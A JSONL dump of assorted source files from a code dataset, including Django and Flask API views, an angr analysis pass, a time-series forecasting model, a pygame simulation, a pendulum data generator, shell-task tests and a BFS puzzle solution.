+{"seq_id":"220856530","text":"from rest_framework.generics import (ListAPIView, RetrieveAPIView, DestroyAPIView,\n                                     CreateAPIView, RetrieveUpdateAPIView)\n\nfrom rest_framework.permissions import (IsAuthenticated, IsAdminUser, IsAuthenticatedOrReadOnly, AllowAny)\nfrom rest_framework.filters import (SearchFilter,\n                                    OrderingFilter,)\nfrom .serializers import CommentSerializer, CommentDetailSerializer\nfrom comments.models import Comment\nfrom posts.api.permissions import IsOwnerOrReadOnly\nfrom posts.api.pagination import PostLimitOffsetPagination\nfrom django.db.models import Q\n\n#class PostCreateAPIView(CreateAPIView):\n    #queryset = Post.objects.all()\n    #serializer_class = PostCreateUpdateSerializer\n    #permission_classes = [IsAuthenticated]\n\n    #def perform_create(self, serializer):\n        #serializer.save(user=self.request.user)\n\nclass CommentDetailAPIView(RetrieveAPIView):\n    queryset = Comment.objects.all()\n    serializer_class = CommentDetailSerializer\n    lookup_field = 'pk'\n\n#class PostUpdateAPIView(RetrieveUpdateAPIView):\n    #queryset = Post.objects.all()\n    #serializer_class = PostCreateUpdateSerializer\n    #lookup_field = 'slug'\n    #permission_classes = [IsAuthenticatedOrReadOnly, IsOwnerOrReadOnly]\n\n    #def perform_update(self, serializer):\n        #serializer.save(user=self.request.user)\n\n#class PostDeleteAPIView(DestroyAPIView):\n #   queryset = Post.objects.all()\n #  serializer_class = PostDetailSerializer\n #  lookup_field = 'slug'\n #   permission_classes = [IsAuthenticatedOrReadOnly, IsOwnerOrReadOnly]\n\nclass CommentListAPIView(ListAPIView):\n    serializer_class = CommentSerializer\n    filter_backends = [SearchFilter, OrderingFilter]\n    search_fields = ['content', 'user__first_name']\n    pagination_class = PostLimitOffsetPagination\n    def get_queryset(self, *args, **kwargs):\n        queryset_list = Comment.objects.all()\n        query = self.request.GET.get(\"q\")\n        if query:\n            queryset_list = queryset_list.filter(\n                Q(title__icontains=query)|\n                Q(content__icontains=query)|\n                Q(user__first_name__icontains=query)|\n                Q(user__last_name__icontains=query)\n            ).distinct()\n        return queryset_list\n","sub_path":"comments/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"37810498","text":"\nimport logging\n\nfrom angr import Analysis, register_analysis\nfrom angr.analyses.reaching_definitions import OP_BEFORE\nfrom angr.calling_conventions import SimRegArg, SimStackArg\n\nfrom .. import Stmt, Expr\n\nl = logging.getLogger('ailment.callsite_maker')\n\n\nclass CallSiteMaker(Analysis):\n    \"\"\"\n    Add calling convention, declaration, and args to a call site.\n    \"\"\"\n    def __init__(self, block):\n        self.block = block\n\n        self._reaching_definitions = None\n\n        self.result_block = None\n\n        self._analyze()\n\n    def _analyze(self):\n\n        last_stmt = self.block.statements[-1]\n\n        if not type(last_stmt) is Stmt.Call:\n            self.result_block = self.block\n            return\n\n        target = self._get_call_target(last_stmt)\n\n        if target is None:\n            return\n\n        if target not in self.kb.functions:\n            return\n\n        func = self.kb.functions[target]\n\n        if func.prototype is None:\n            func.find_declaration()\n\n        if func.prototype is None:\n            # cannot find a declaration to it\n            return\n\n        # Make arguments\n        args = [ ]\n        if func.calling_convention is None:\n            l.warning('%s has an unknown calling convention.', repr(func))\n        else:\n            arg_locs = func.calling_convention.arg_locs()\n            for arg_loc in arg_locs:\n                if type(arg_loc) is SimRegArg:\n                    size = arg_loc.size\n                    offset = arg_loc._fix_offset(None, size, arch=self.project.arch)\n                    args.append(Expr.Register(None, None, offset, size * 8, reg_name=arg_loc.reg_name))\n                else:\n                    raise NotImplementedError('Not implemented yet.')\n\n        new_stmts = self.block.statements[::]\n\n        new_stmts[-1] = Stmt.Call(last_stmt, last_stmt.target,\n                                  calling_convention=func.calling_convention,\n                                  prototype=func.prototype,\n                                  args=args,\n                                  **last_stmt.tags\n                                  )\n\n        new_block = self.block.copy()\n        new_block.statements = new_stmts\n\n        self.result_block = new_block\n\n    def _get_call_target(self, stmt):\n        \"\"\"\n\n        :param Stmt.Call stmt:\n        :return:\n        \"\"\"\n\n        if type(stmt.target) is Expr.Const:\n            return stmt.target.value\n\n        return None\n\nregister_analysis(CallSiteMaker, 'AILCallSiteMaker')\n","sub_path":"l3/venv-angr/lib/python3.5/site-packages/ailment/analyses/callsite_maker.py","file_name":"callsite_maker.py","file_ext":"py","file_size_in_byte":2497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"321136711","text":"from .base_exception import BaseException\n\n\nclass APIResponseError(BaseException):\n\n    status_code = 400\n\n    def __init__(self, error, status_code=None, payload=None):\n        Exception.__init__(self)\n        self._error = error\n        if status_code is not None:\n            self.status_code = status_code\n        self.payload = payload\n\n    def to_dict(self):\n        return_value = dict(self.payload or ())\n        return_value['status'] = 'error'\n        return_value['message'] = self._error\n        return return_value\n","sub_path":"app/exceptions/api_response_error.py","file_name":"api_response_error.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"605008770","text":"from typing import List, Tuple\nimport pygame\nfrom particle import Particle\nfrom sorting import bubble_sort\n\nWINDOW_SIZE = (768 // 4 * 3, 768 // 4 * 3)\n\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\nGREEN = (0, 255, 0)\nRED = (255, 0, 0)\n\nDIM = 8  # height/width of dot\nN = 512  # number of dots\nice_list = []  # list holding dots\n\n\nif __name__ == '__main__':\n    screen = pygame.display.set_mode(WINDOW_SIZE)  # change window size\n    pygame.display.set_caption('Particles!')       # change window name\n    done = False\n    clock = pygame.time.Clock()\n\n    ice_list.append(Particle(DIM, free=False))  # create centre particle\n    ice_list[0].move(WINDOW_SIZE[0] // 2, WINDOW_SIZE[1] // 2)\n    ice_list[0].quantize_pos()\n\n    for _ in range(N - 1):  # create particles\n        x = Particle(DIM)\n        x.move_to_random_pos(0, 0, WINDOW_SIZE[0], WINDOW_SIZE[1])\n        x.quantize_pos()\n        ice_list.append(x)\n\n    while not done:\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:  # if a QUIT event is received\n                done = True                # end the program\n\n        screen.fill(WHITE)  # reset screen to white before drawing\n\n        for ice in ice_list:\n            ice.step_drunk_float_jumps()  # move particle, keep within screen\n            ice.move_into_bounds(0, 0, WINDOW_SIZE[0], WINDOW_SIZE[1])\n            ice.draw(screen)  # draw particle\n\n        # check for collision between stuck particles and free particles\n        for ice1 in filter(lambda ice: not ice.free, ice_list):\n            for ice2 in filter(lambda ice: ice.free, ice_list):\n                if ice1.check_collision(ice2):  # if there is a collision\n                    ice2.free = False           # make free particle stuck\n\n        pygame.display.flip()  # update screen\n        clock.tick(60)  # set frame rate\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"271091726","text":"#!/usr/bin/env python\n\nfrom argparse import ArgumentParser\nimport errno\nfrom os import environ, listdir, makedirs, remove\nfrom os.path import expanduser, isfile, join\nfrom shutil import copyfile\nfrom sys import exit\nfrom subprocess import call\n\nHOME = expanduser('~')\nTEMPLATE_PATH = HOME + '/.stencil/'\nEDITOR = environ.get('EDITOR', 'vim')\n\ndef create_arg_parser():\n  parser = ArgumentParser(description=\"Organized templating.\")\n  parser.add_argument('-e', '--edit', help=\"edit a template\", metavar='')\n  parser.add_argument('-i', '--install', help=\"create a template\", metavar='')\n  parser.add_argument('-rm', '--remove', help=\"remove a template\", metavar='')\n  parser.add_argument('-ls', '--list', action='store_true', help=\"list template files\")\n  parser.add_argument('src', nargs='?', help=\"template to use\")\n  parser.add_argument('dest', nargs='?', help=\"file to create from template\")\n  return parser\n\ndef validate_args(args):\n  args_bool = [bool(v) for (k, v) in args.items() if k != 'src' and k != 'dest']\n  num_args_set = sum(args_bool)\n  if num_args_set > 1:\n    print(\"error: please use one flag at a time\")\n    exit()\n  if args['src'] is not None:\n    if num_args_set > 0:\n      print(\"error: invalid flag usage, please see --help for proper usage\")\n      exit()\n\ndef file_not_found(file_name):\n  print(\"error: could not find file: \" + str(file_name))\n  exit()\n\n# Equivalent to makedirs(path, exist_ok=True) in Python 3.2+\ndef check_and_make_dir(path):\n  try:\n    makedirs(path)\n  except OSError as exception:\n    if exception.errno != errno.EEXIST:\n      raise\n\ndef main():\n  check_and_make_dir(TEMPLATE_PATH)\n  arg_parser = create_arg_parser()\n  args = arg_parser.parse_args()\n  validate_args(vars(args))\n  if args.install is not None:\n    template_file = TEMPLATE_PATH + str(args.install)\n    if isfile(args.install):\n      copyfile(args.install, template_file)\n    else:\n      call([EDITOR, template_file])\n  elif args.edit is not None:\n    template_file = TEMPLATE_PATH + str(args.edit)\n    if isfile(template_file):\n      call([EDITOR, template_file])\n    else:\n      file_not_found(template_file)\n  elif args.remove is not None:\n    template_file = TEMPLATE_PATH + str(args.remove)\n    if isfile(template_file):\n      remove(template_file)\n    else:\n      file_not_found(template_file)\n  elif args.list == True:\n    template_files = [f for f in listdir(TEMPLATE_PATH) if isfile(join(TEMPLATE_PATH, f))]\n    for f in template_files:\n      print(str(f) + ' ')\n  elif args.src is not None:\n    template_file = TEMPLATE_PATH + str(args.src)\n    if isfile(template_file):\n      if args.dest is None:\n        args.dest = args.src\n      copyfile(template_file, str(args.dest))\n    else:\n      file_not_found(template_file)\n\nif __name__ == \"__main__\":\n  main()\n","sub_path":"stencil.py","file_name":"stencil.py","file_ext":"py","file_size_in_byte":2792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"235064175","text":"import sys\nif sys.version_info < (3,):\n    range = xrange\n\nimport numpy as np\nimport pandas as pd\nimport scipy.stats as ss\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nfrom ..parameter import Parameter, Parameters\nfrom .. import inference as ifr\nfrom .. import tsm as tsm\nfrom .. import distributions as dst\nfrom .. import data_check as dc\n\nfrom .scores import *\nfrom .gas import *\n\nclass GASExponential(GAS):\n    \"\"\" Inherits GAS methods from GAS class (and time series methods from TSM class).\n\n    **** EXPONENTIAL GENERALIZED AUTOREGRESSIVE SCORE (GAS) MODELS ****\n\n    Parameters\n    ----------\n    data : pd.DataFrame or np.array\n        Field to specify the univariate time series data that will be used.\n\n    ar : int\n        Field to specify how many AR lags the model will have.\n\n    sc : int\n        Field to specify how many score lags terms the model will have.\n\n    integ : int (default : 0)\n        Specifies how many time to difference the time series.\n\n    target : str (pd.DataFrame) or int (np.array)\n        Specifies which column name or array index to use. By default, first\n        column/array will be selected as the dependent variable.\n\n    gradient_only : Boolean (default: True)\n        If true, will only use gradient rather than second-order terms\n        to construct the modified score.\n    \"\"\"\n\n    def __init__(self,data,ar,sc,integ=0,target=None,gradient_only=False):\n\n        # Initialize TSM object     \n        super(GASExponential,self).__init__(data=data,ar=ar,sc=sc,integ=integ,\n            target=target,gradient_only=gradient_only)\n\n        self.model_name = \"EXPONENTIAL GAS(\" + str(self.ar) + \",\" + str(self.integ) + \",\" + str(self.sc) + \") REGRESSION\"\n        self.dist = 'Exponential'\n        self.link = np.exp\n        self.scale = False\n        self.shape = False\n        self.parameters.parameter_list[0].start = np.log(1/np.mean(self.data))\n\n        if gradient_only is False:\n            self.score_function = self.adj_score_function\n        else:\n            self.score_function = self.default_score_function\n\n    def _mean_prediction(self,theta,Y,scores,h,t_params):\n        \"\"\" Creates a h-step ahead mean prediction\n\n        Parameters\n        ----------\n        theta : np.array\n            The past predicted values\n\n        Y : np.array\n            The past data\n\n        scores : np.array\n            The past scores\n\n        h : int\n            How many steps ahead for the prediction\n\n        t_params : np.array\n            A vector of (transformed) parameters\n\n        Returns\n        ----------\n        Y_exp : np.array\n            Vector of past values and predictions \n        \"\"\"     \n\n        Y_exp = Y.copy()\n        theta_exp = theta.copy()\n        scores_exp = scores.copy()\n\n        #(TODO: vectorize the inner construction here)      \n        for t in range(0,h):\n            new_value = t_params[0]\n\n            if self.ar != 0:\n                for j in range(1,self.ar+1):\n                    new_value += t_params[j]*theta_exp[-j]\n\n            if self.sc != 0:\n                for k in range(1,self.sc+1):\n                    new_value += t_params[k+self.ar]*scores_exp[-k]\n\n            Y_exp = np.append(Y_exp,[1/self.link(new_value)])\n            theta_exp = np.append(theta_exp,[new_value]) # For indexing consistency\n            scores_exp = np.append(scores_exp,[0]) # expectation of score is zero\n\n        return Y_exp\n\n    def adj_score_function(self,y,mean,scale,shape):\n        return ExponentialScore.log_lam_adj_score(y, mean)\n\n    def draw_variable(self,loc,scale,shape,nsims):\n        return np.random.exponential(1/loc, nsims)\n\n    def neg_loglik(self,beta):\n        theta, Y, scores = self._model(beta)\n        return -np.sum(ss.expon.logpdf(x=Y,scale=1/self.link(theta)))\n\n    def default_score_function(self,y,mean,scale,shape):\n        return ExponentialScore.log_lam_score(y, mean)\n\n    def predict_is(self,h=5):\n        \"\"\" Makes dynamic in-sample predictions with the estimated model\n\n        Parameters\n        ----------\n        h : int (default : 5)\n            How many steps would you like to forecast?\n\n        Returns\n        ----------\n        - pd.DataFrame with predicted values\n        \"\"\"     \n\n        predictions = []\n\n        for t in range(0,h):\n            x = GASExponential(ar=self.ar,sc=self.sc,integ=self.integ,data=self.data_original[:-h+t])\n            x.fit(printer=False)\n            \n            if t == 0:\n                predictions = x.predict(1)\n            else:\n                predictions = pd.concat([predictions,x.predict(1)])\n        \n        predictions.rename(columns={0:self.data_name}, inplace=True)\n        predictions.index = self.index[-h:]\n\n        return predictions\n\n    def plot_fit(self,intervals=False,**kwargs):\n        \"\"\" Plots the fit of the model\n\n        Returns\n        ----------\n        None (plots data and the fit)\n        \"\"\"\n\n        figsize = kwargs.get('figsize',(10,7))\n\n        if self.parameters.estimated is False:\n            raise Exception(\"No parameters estimated!\")\n        else:\n            date_index = self.index[max(self.ar,self.sc):]\n            mu, Y, scores = self._model(self.parameters.get_parameter_values())\n\n            if intervals == True:\n                sim_vector = self.link([self._bootstrap_scores(self.parameters.get_parameter_values()) for i in range(1000)]).T\n                error_bars = []\n                error_bars.append(1/np.array([np.percentile(i,5) for i in sim_vector]))\n                error_bars.append(1/np.array([np.percentile(i,95) for i in sim_vector]))\n\n            plt.figure(figsize=figsize)\n            plt.subplot(2,1,1)\n            plt.title(\"Model fit for \" + self.data_name)\n\n            if intervals == True:\n                alpha =[0.15*i/float(100) for i in range(50,12,-2)]\n                plt.fill_between(date_index, error_bars[0], error_bars[1], alpha=0.15,label='95% Confidence Interval')  \n\n            plt.plot(date_index,Y,label='Data')\n            plt.plot(date_index,1/self.link(mu),label='GAS Filter',c='black')\n            plt.legend(loc=2)   \n\n            plt.subplot(2,1,2)\n\n            if intervals == True:\n                alpha =[0.15*i/float(100) for i in range(50,12,-2)]\n                plt.fill_between(date_index, error_bars[0], error_bars[1], alpha=0.15,label='95% Confidence Interval')  \n\n            plt.plot(date_index,1/self.link(mu),label='GAS Filter',c='black')\n            plt.title(\"Filtered values for \" + self.data_name)\n            plt.legend(loc=2)   \n\n            plt.show()              \n    \n    def plot_predict(self,h=5,past_values=20,intervals=True,**kwargs):\n        \"\"\" Makes forecast with the estimated model\n\n        Parameters\n        ----------\n        h : int (default : 5)\n            How many steps ahead would you like to forecast?\n\n        past_values : int (default : 20)\n            How many past observations to show on the forecast graph?\n\n        intervals : Boolean\n            Would you like to show prediction intervals for the forecast?\n\n        Returns\n        ----------\n        - Plot of the forecast\n        \"\"\"     \n\n        figsize = kwargs.get('figsize',(10,7))\n\n        if self.parameters.estimated is False:\n            raise Exception(\"No parameters estimated!\")\n        else:\n\n            # Retrieve data, dates and (transformed) parameters\n            theta, Y, scores = self._model(self.parameters.get_parameter_values())          \n            date_index = self.shift_dates(h)\n            t_params = self.transform_parameters()\n\n            # Get mean prediction and simulations (for errors)\n            mean_values = self._mean_prediction(theta,Y,scores,h,t_params)\n            sim_values = self._sim_prediction(theta,Y,scores,h,t_params,15000)\n            error_bars, forecasted_values, plot_values, plot_index = self._summarize_simulations(mean_values,sim_values,date_index,h,past_values)\n\n            plt.figure(figsize=figsize)\n            if intervals == True:\n                alpha =[0.15*i/float(100) for i in range(50,12,-2)]\n                for count, pre in enumerate(error_bars):\n                    plt.fill_between(date_index[-h-1:], forecasted_values-pre, forecasted_values+pre,\n                        alpha=alpha[count])         \n            \n            plt.plot(plot_index,plot_values)\n            plt.title(\"Forecast for \" + self.data_name)\n            plt.xlabel(\"Time\")\n            plt.ylabel(self.data_name)\n            plt.show()\n\n    def predict(self,h=5):\n        \"\"\" Makes forecast with the estimated model\n\n        Parameters\n        ----------\n        h : int (default : 5)\n            How many steps ahead would you like to forecast?\n\n        Returns\n        ----------\n        - pd.DataFrame with predicted values\n        \"\"\"     \n\n        if self.parameters.estimated is False:\n            raise Exception(\"No parameters estimated!\")\n        else:\n\n            theta, Y, scores = self._model(self.parameters.get_parameter_values())          \n            date_index = self.shift_dates(h)\n            t_params = self.transform_parameters()\n\n            mean_values = self._mean_prediction(theta,Y,scores,h,t_params)\n            forecasted_values = mean_values[-h:]\n            result = pd.DataFrame(1/forecasted_values)\n            result.rename(columns={0:self.data_name}, inplace=True)\n            result.index = date_index[-h:]\n\n            return result","sub_path":"pyflux/gas/gasexponential.py","file_name":"gasexponential.py","file_ext":"py","file_size_in_byte":9390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"328668938","text":"import numpy as np\nimport pickle\n\nfrom qanta.features.abstract import AbstractFeatureExtractor\nfrom qanta.util.constants import SENTENCE_STATS\nfrom qanta.util.environment import QB_QUESTION_DB\nfrom qanta.util.io import safe_open\nfrom qanta.datasets.quiz_bowl import QuizBowlDataset, QuestionDatabase\nimport warnings\n\n\nwarnings.warn('old features extractors are deprecated and need to be rewritten', DeprecationWarning)\n\n\nclass StatsExtractor(AbstractFeatureExtractor):\n    def __init__(self):\n        super(StatsExtractor, self).__init__()\n        with open(SENTENCE_STATS, 'rb') as f:\n            self.word_count_mean, self.word_count_std = pickle.load(f)\n\n        self.guess_frequencies = {}\n        question_db = QuestionDatabase(QB_QUESTION_DB)\n        all_questions = question_db.questions_with_pages()\n        for page in all_questions:\n            self.guess_frequencies[page] = sum(1 for x in all_questions[page] if x.fold == \"train\")\n\n        self.frequency_mean = np.mean(list(self.guess_frequencies.values()))\n        self.frequency_std = np.std(list(self.guess_frequencies.values()))\n        for page in all_questions:\n            normalized_frequency = normalize(\n                self.guess_frequencies[page],\n                self.frequency_mean,\n                self.frequency_std\n            )\n            self.guess_frequencies[page] = normalized_frequency\n        self.normed_missing_guess = normalize(0, self.frequency_mean, self.frequency_std)\n\n    @property\n    def name(self):\n        return 'stats'\n\n    def score_guesses(self, guesses, text):\n        n_words = len(text.split())\n        normalized_word_count = normalize(n_words, self.word_count_mean, self.word_count_std)\n        for guess in guesses:\n            formatted_guess = guess.replace(':', '').replace('|', '')\n            normalized_guess_frequency = self.guess_frequencies.get(\n                formatted_guess, self.normed_missing_guess)\n            feature = '|stats guess_frequency:{} words_seen:{} norm_words_seen:{}'.format(\n                normalized_guess_frequency, n_words, normalized_word_count)\n            yield feature\n\n\ndef normalize(value, mean, var):\n    return (value - mean) / var\n\n\ndef compute_question_stats(question_db_path: str):\n    dataset = QuizBowlDataset(5, qb_question_db=question_db_path)\n    train_dev_questions = dataset.questions_in_folds(('train', 'dev'))\n    question_lengths = [len(q.flatten_text().split())\n                        for q in train_dev_questions]\n\n    mean = np.mean(question_lengths)\n    std = np.std(question_lengths)\n\n    stats = (mean, std)\n\n    with safe_open(SENTENCE_STATS, 'wb') as f:\n        pickle.dump(stats, f)\n","sub_path":"qanta/features/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":2659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"511184000","text":"import elasticsearch\nimport flask_restful\nfrom flask import request, g\n\nfrom app import elastic_index, RestException\nfrom app.model.resource import ThrivResource\nfrom app.model.search import Facet, FacetCount, Filter\nfrom app.resources.schema import SearchSchema, ThrivResourceSchema\nfrom app.resources.Auth import login_optional\n\n\nclass SearchEndpoint(flask_restful.Resource):\n\n    @login_optional\n    def post(self):\n        request_data = request.get_json()\n        search, errors = SearchSchema().load(request_data)\n\n        if errors: raise RestException(RestException.INVALID_OBJECT, details=errors)\n        try:\n            if 'user' not in g or not g.user or g.user.role != \"Admin\":\n                search.filters.append(Filter(field=\"Approved\", value=\"Approved\"))\n                results = elastic_index.search_resources(search)\n                search.filters = search.filters[:-1]\n            else:\n                results = elastic_index.search_resources(search)\n        except elasticsearch.ElasticsearchException as e:\n            raise RestException(RestException.ELASTIC_ERROR)\n\n        search.total = results.hits.total\n\n        search.facets = []\n        for facet_name in results.facets:\n            if facet_name == \"Approved\":\n                if 'user' in g and g.user and g.user.role == \"Admin\":\n                    facet = Facet(facet_name)\n                    facet.facetCounts = []\n                    for category, hit_count, is_selected in results.facets[facet_name]:\n                        facet.facetCounts.append(FacetCount(category, hit_count, is_selected))\n                    search.facets.append(facet)\n            else:\n                facet = Facet(facet_name)\n                facet.facetCounts = []\n                for category, hit_count, is_selected in results.facets[facet_name]:\n                    facet.facetCounts.append(FacetCount(category, hit_count, is_selected))\n                search.facets.append(facet)\n\n        resources = []\n        for hit in results:\n            resource = ThrivResource.query.filter_by(id=hit.id).first()\n            if resource is not None:\n                resources.append(resource)\n        search.resources = ThrivResourceSchema().dump(resources, many=True).data\n        return SearchSchema().jsonify(search)\n","sub_path":"backend/app/resources/SearchEndpoint.py","file_name":"SearchEndpoint.py","file_ext":"py","file_size_in_byte":2286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"129611403","text":"import time\n\ndef clean(text):\n    '''处理文本以便于比较'''\n\n    # 去掉题号\n    text = text.split('.')[1]\n    # 去掉答案\n    text = text.split('@')[0]\n    # 去掉中文括号\n    text = text.split('（')[0]\n    # 去掉所有空格\n    text = text.replace(' ', '')\n    # 去掉所有逗号\n    text = text.replace('，', '')\n    # 去掉所有句号\n    text = text.replace('。', '')\n    # 英文转换为小写\n    text = text.lower()\n\n    return text\n\n\nt = time.time()\nwith open('a1_db.txt', 'r', encoding='UTF-8') as f_liuke, \\\n    open('a1去重后.txt', 'w', encoding='UTF-8') as f2:\n\n    # 分行提取六联题目，储存为列表lines_liuke\n    lines_liuke = f_liuke.readlines()\n\n    count = 0\n    for num_1st, line_1st in enumerate(lines_liuke):\n        for num_2nd, line_2nd in enumerate(lines_liuke):\n            if clean(line_1st) == clean(line_2nd) and num_1st < num_2nd:\n                count += 1\n                output = '第' + str(num_1st + 1) + '行与第' + str(num_2nd + 1) + '行重复'\n                print(output)\n                break\n        else:\n            f2.write(line_1st)\n\n\n\nprint('\\n共计耗时' + str(time.time()-t) + '秒，有' + str(count) + '道重复。')\n","sub_path":"其他/病理学/自身查重.py","file_name":"自身查重.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"547414309","text":"\"\"\"\nTests for shell task.\n\"\"\"\nfrom tests.fixtures import ProjectDirectory, project_directory\n\nimport pytest\n\n\ndef test_shell_task(project_directory: ProjectDirectory) -> None:\n    \"\"\"\n    Tests that a simple shell task (command, no argument) gets executed properly.\n    \"\"\"\n    pytest.skip(\"BROKEN\")\n    project_directory.set_config({\"LISTALL\": {\"type\": \"shell\", \"configuration\": {\"command\": \"ls\"}}})\n    output = project_directory.run_task(\"LISTALL\")\n    assert len(output) != 0\n\n\ndef test_shell_task_with_environment_variables(project_directory: ProjectDirectory) -> None:\n    \"\"\"\n    Tests a shell command w/ env. var.\n    \"\"\"\n    pytest.skip(\"BROKEN\")\n    project_directory.set_config(\n        {\"ECHO_W_ENV\": {\"type\": \"shell\", \"configuration\": {\"command\": \"env\", \"environment\": {\"TASK_OK\": \"BADABING\"}}}}\n    )\n    output = project_directory.run_task(\"ECHO_W_ENV\")\n    print(output)\n    assert \"TASK_OK=BADABING\" in output\n\n\ndef test_shell_task_with_arguments(project_directory: ProjectDirectory) -> None:\n    \"\"\"\n    Tests a shell command with arguments.\n    \"\"\"\n    pytest.skip(\"BROKEN\")\n    project_directory.set_config(\n        {\"ECHO_W_ARGS\": {\"type\": \"shell\", \"configuration\": {\"command\": \"echo\", \"arguments\": [\"Oof\", \"Ouch\"]}}}\n    )\n\n    assert \"Oof Ouch\" in project_directory.run_task(\"ECHO_W_ARGS\")\n","sub_path":"tests/tasks/test_shell.py","file_name":"test_shell.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"576861903","text":"import random\nimport numpy as np\nfrom numpy.random import *\nfrom scipy.integrate import odeint\n\n\ndef PendulumFn(x1range, x2range, numICs, tSpan, seed,\n               max_potential):  # function X = PendulumFn(x1range, x2range, numICs, tSpan, seed, max_potential)\n    # try some initial conditions for x1, x2\n    np.random.seed(seed=seed)\n\n    def dynsys(x, t):\n        dydt = np.zeros_like(x)\n        dydt[0] = x[1]  # x[1, :]\n        dydt[1] = -np.sin(x[0])  # x[0, :]\n        # print(dydt)\n        return dydt\n\n    def dynsys2(t, x):\n        return [x[0, :], -np.sin(x[0, :])]  # [x[1,:]; -np.sin(x[1,:])]\n\n    lenT = len(tSpan)\n\n    X = np.zeros((numICs * lenT, 2))\n\n    def potential(x, y):\n        return (1 / 2) * y ** 2 - np.cos(x)\n\n    # t = dynsys(2, [[2, 5], [4, 9]])\n\n    count = 1\n    for j in range(100 * numICs):  # j = 1:100*numICs\n        # randomly start from x1range(1) to x1range(2)\n        x1 = (x1range[1] - x1range[0]) * rand() + x1range[0]\n\n        # randomly start from x2range(1) to x2range(2)\n        x2 = (x2range[1] - x2range[0]) * rand() + x2range[0]\n\n        if potential(x1, x2) <= max_potential:\n            ic = [x1, x2]\n            temp = odeint(dynsys, ic, tSpan)\n            # [T, temp] = odeint(dynsys, ic, tSpan)\n\n            X[(count - 1) * lenT: lenT + (count - 1) * lenT, :] = temp\n            if count == numICs:\n                break\n            count = count + 1\n\n    if count < numICs:\n        print('oops, potential energy too small for IC box')\n\n    return X\n","sub_path":"data/PendulumFn.py","file_name":"PendulumFn.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"50106107","text":"# No. 2606\n# 바이러스\n# https://www.acmicpc.net/problem/2606\n\n# -문제\n# 7대의 컴퓨터가 <그림 1>과 같이 네트워크 상에서 연결되어 있다고 하자.\n# 1번 컴퓨터가 웜 바이러스에 걸리면 웜 바이러스는 2번과 5번 컴퓨터를 거쳐 3번과 6번 컴퓨터까지 전파되어\n# 2, 3, 5, 6 네 대의 컴퓨터는 웜 바이러스에 걸리게 된다.\n# 하지만 4번과 7번 컴퓨터는 1번 컴퓨터와 네트워크상에서 연결되어 있지 않기 때문에 영향을 받지 않는다.\n#\n#       1 ㅡㅡ 2 ㅡㅡ 3    4\n#        \\   /          /\n#          5 ㅡㅡ 6    7\n#             <그림 1>\n#\n# 어느 날 1번 컴퓨터가 웜 바이러스에 걸렸다.\n# 컴퓨터의 수와 네트워크 상에서 서로 연결되어 있는 정보가 주어질 때,\n# 1번 컴퓨터를 통해 웜 바이러스에 걸리게 되는 컴퓨터의 수를 출력하는 프로그램을 작성하시오.\n\n# -입력\n# 첫째 줄에는 컴퓨터의 수가 주어진다. 컴퓨터의 수는 100 이하이고 각 컴퓨터에는 1번 부터 차례대로 번호가 매겨진다.\n# 둘째 줄에는 네트워크 상에서 직접 연결되어 있는 컴퓨터 쌍의 수가 주어진다.\n# 이어서 그 수만큼 한 줄에 한 쌍씩 네트워크 상에서 직접 연결되어 있는 컴퓨터의 번호 쌍이 주어진다.\n\n# -출력\n# 1번 컴퓨터가 웜 바이러스에 걸렸을 때, 1번 컴퓨터를 통해 웜 바이러스에 걸리게 되는 컴퓨터의 수를 첫째 줄에 출력한다.\n\n# example input\n#\n# 7\n# 6\n# 1 2\n# 2 3\n# 1 5\n# 5 2\n# 5 6\n# 4 7\n\nfrom collections import deque\n\n\ndef bfs(v):\n    queue = deque()\n    queue.append(v)\n\n    # 큐가 있는동안 반복\n    while queue:\n        v = queue.popleft()\n        if v not in ans:\n            ans.append(v)\n            for i in data:\n                a = i[0]\n                b = i[1]\n                if a == v:\n                    queue.append(b)\n                elif b == v:\n                    queue.append(a)\n\n    return len(ans) - 1\n\n\nn = int(input())\nm = int(input())\n\ndata = []\nfor _ in range(m):\n    data.append(list(map(int, input().split())))\n\n# 양방향 간선이기에 노드가 작은 값을 앞으로 정렬\nfor i in data:\n    if i[0] > i[1]:\n        i.reverse()\ndata.sort()\n\nans = []\n\nprint(bfs(1))\n","sub_path":"BFS/#2606.py","file_name":"#2606.py","file_ext":"py","file_size_in_byte":2318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
